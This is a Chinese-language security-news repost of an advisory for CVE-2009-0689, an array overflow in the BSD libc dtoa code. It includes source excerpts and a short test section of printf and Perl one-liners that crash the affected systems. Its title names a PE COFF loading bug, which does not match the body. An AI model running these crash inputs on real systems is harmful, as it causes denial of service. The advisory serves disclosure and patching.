作家
登录

FreeBSD PE COFF加载本地拒绝服务漏洞

作者: 来源: 2012-06-12 19:04:42 阅读 我要评论

受影响系统:

FreeBSD FreeBSD 7.2

FreeBSD FreeBSD 6.4

NetBSD NetBSD 5.0

OpenBSD OpenBSD 4.5

描述:

BUGTRAQ  ID: 35510

CVE(CAN) ID: CVE-2009-0689

OpenBSD、NetBSD、FreeBSD都是流行的BSD操作系统,是Unix的衍生系统。

OpenBSD、NetBSD、FreeBSD的dtoa实现中存在数组溢出漏洞。在src/lib/libc/gdtoa/gdtoaimp.h中:

- ---gdtoaimp.h--- ... #define Kmax 15 ... - ---gdtoaimp.h--- 最大的Kmax长度为15,如果提供了更大的值(如17),程序就会溢出freelist数组,bss为0x1。 以NetBSD为例: - ---gdtoaimp.h--- ... #define Kmax (sizeof(size_t) << 3) ... - ---gdtoaimp.h--- 程序在misc.c中崩溃: - --- src/lib/libc/gdtoa/misc.c --- if ( (rv = freelist[k]) !=0) { freelist[k] = rv->next; } else { x = 1 << k; #ifdef Omit_Private_Memory rv = (Bigint *)MALLOC(sizeof(Bigint) + (x-1)*sizeof(ULong)); #else len = (sizeof(Bigint) + (x-1)*sizeof(ULong) + sizeof(double) - 1) /sizeof(double); if ((double *)(pmem_next - private_mem + len) <= (double *)PRIVATE_mem) { rv = (Bigint*)(void *)pmem_next; pmem_next += len; } else rv = (Bigint*)MALLOC(len*sizeof(double)); #endif if (rv == NULL) return NULL; rv->k = k; rv->maxwds = x; } - --- src/lib/libc/gdtoa/misc.c --- 这里 rv->k = k; 或 freelist[k] = rv->next; 

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)

链接:http://marc.info/?l=full-disclosure&m=124615137701550&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

printf %1.262159f 1.1
printf %11.2109999999f
printf %11.2009999999f
printf %11.2009999999f

#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;

建议:
--------------------------------------------------------------------------------
厂商补丁:

NetBSD
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c

【编辑推荐】

  1. 谷歌发布Android安全漏洞补丁修复两个DoS漏洞
  2. 微软紧急发布SMBv2安全漏洞补丁缓解风险
  3. 360安全卫士:打漏洞补丁防止微软“黑屏”

  推荐阅读

  Cisco IOS MSFC2 畸形二层帧远程拒绝服务安全缺陷

涉及程序: Cisco IOS MSFC2 二层帧 描述: Cisco IOS MSFC2 畸形二层帧远程拒绝服务安全缺陷 详细: layer 2 frame(二层帧)用于封装第三层包。Cisco 6000/6500/7600是高端路由器。 使用MSFC2设备的Cisco 6000>>>详细阅读


本文标题:FreeBSD PE COFF加载本地拒绝服务漏洞

地址:http://www.17bianji.com/anquan/buding/1623.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)